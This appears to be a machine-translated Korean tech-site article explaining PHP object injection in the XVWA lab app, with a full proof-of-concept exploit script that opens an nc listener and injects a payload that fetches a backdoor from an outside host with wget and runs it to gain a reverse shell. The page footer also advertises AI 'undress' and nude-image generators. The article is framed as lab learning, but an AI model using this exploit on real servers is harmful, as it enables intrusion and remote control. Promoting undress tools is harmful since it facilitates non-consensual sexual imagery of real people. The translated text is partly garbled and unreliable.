PHP 직렬화/객체 주입 취약점 분석_php 기술
이 글은 호스트의 원격 쉘을 얻는 방법을 설명하는 PHP 직렬화/객체 주입 취약점 분석에 대한 짧은 글입니다.
이 취약점을 직접 테스트하려면 XVWA 및 Kevgir을 통해 테스트할 수 있습니다.
취약점을 악용하는 첫 번째 단계에서는 대상 애플리케이션에 PHP 직렬화가 있는지 테스트하기 시작합니다. 테스트를 돕기 위해 Burpsuite의 SuperSerial 플러그인을 사용했습니다. 다운로드 주소는 여기에 있습니다. PHP 및 Java 직렬화의 존재를 수동적으로 감지합니다.
분석
애플리케이션에서 PHP 직렬화 사용을 감지하여 애플리케이션 코드에 원격 코드 실행 취약점이 포함되어 있는지 식별할 수 있습니다. 직렬화된 객체는 매개변수 "r"에서 가져옵니다.
$var1=unserialize($_REQUEST['r']);
그런 다음 역직렬화하고 평가합니다.
평가($this->inject);
그런 다음 다음을 실행합니다.
echo "
".$var1[0]." - ".$var1[1];
이를 통해 매개변수 r의 PHP 직렬화 개체를 우회하면 코드 실행 취약점을 얻을 수 있습니다!
< ?php error_reporting(E_ALL); class PHPObjectInjection{ public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)){ eval($this->inject); } } } //?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";} if(isset($_REQUEST['r'])){ $var1=unserialize($_REQUEST['r']); if(is_array($var1)){ echo " ".$var1[0]." - ".$var1[1]; } }else{ echo "parameter is missing"; } ? >
악용
이 취약점을 악용하기 위해 우리는 PHP 직렬화 페이로드를 자동으로 생성하고 대상 원격 호스트에서 원하는 명령을 실행하는 간단한 PHP 스크립트를 만들었습니다. 그런 다음 일반 PHP 리바운드 쉘을 생성했는데 다운로드 주소는 다음과 같습니다.
http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
참고: 이 파일을 웹 서버로 전송하고 리바운드 쉘 스크립트에서 로컬 IP와 포트를 변경하고 다음 익스플로잇 코드를 변경해야 합니다.
<?php /* PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. Shouts to @jstnkndy @yappare for theassist! NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured */ print"==============================================================================\r\n"; print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n"; print"==============================================================================\r\n"; print "[+] Generating serializedpayload...[OK]\r\n"; print "[+] Launching reverselistener...[OK]\r\n"; system('gnome-terminal -x sh -c \'nc -lvvp1234\''); class PHPObjectInjection { //CHANGE URL/FILENAME TO MATCH YOUR SETUP public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');"; } $url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER $url = $url . urlencode(serialize(newPHPObjectInjection)); print "[+] Sendingexploit...[OK]\r\n"; print "[+] Dropping down tointeractive shell...[OK]\r\n"; print"==============================================================================\r\n"; $response =file_get_contents("$url"); ? >
데모
이제 애플리케이션 스크립트가 준비되었으므로 이를 실행하여 원격 명령 실행을 위해 원격 호스트에서 리바운드 셸을 얻을 수 있습니다!
위 내용은 이 글의 전체 내용입니다. PHP 프로그래밍을 배우는 모든 분들께 도움이 되기를 바랍니다.

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

AI Hentai Generator
AI Hentai를 무료로 생성하십시오.

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











이번 장에서는 CakePHP의 환경 변수, 일반 구성, 데이터베이스 구성, 이메일 구성에 대해 알아봅니다.

PHP 8.4는 상당한 양의 기능 중단 및 제거를 통해 몇 가지 새로운 기능, 보안 개선 및 성능 개선을 제공합니다. 이 가이드에서는 Ubuntu, Debian 또는 해당 파생 제품에서 PHP 8.4를 설치하거나 PHP 8.4로 업그레이드하는 방법을 설명합니다.

CakePHP는 PHP용 오픈 소스 프레임워크입니다. 이는 애플리케이션을 훨씬 쉽게 개발, 배포 및 유지 관리할 수 있도록 하기 위한 것입니다. CakePHP는 강력하고 이해하기 쉬운 MVC와 유사한 아키텍처를 기반으로 합니다. 모델, 뷰 및 컨트롤러 gu

CakePHP에서 데이터베이스 작업은 매우 쉽습니다. 이번 장에서는 CRUD(생성, 읽기, 업데이트, 삭제) 작업을 이해하겠습니다.
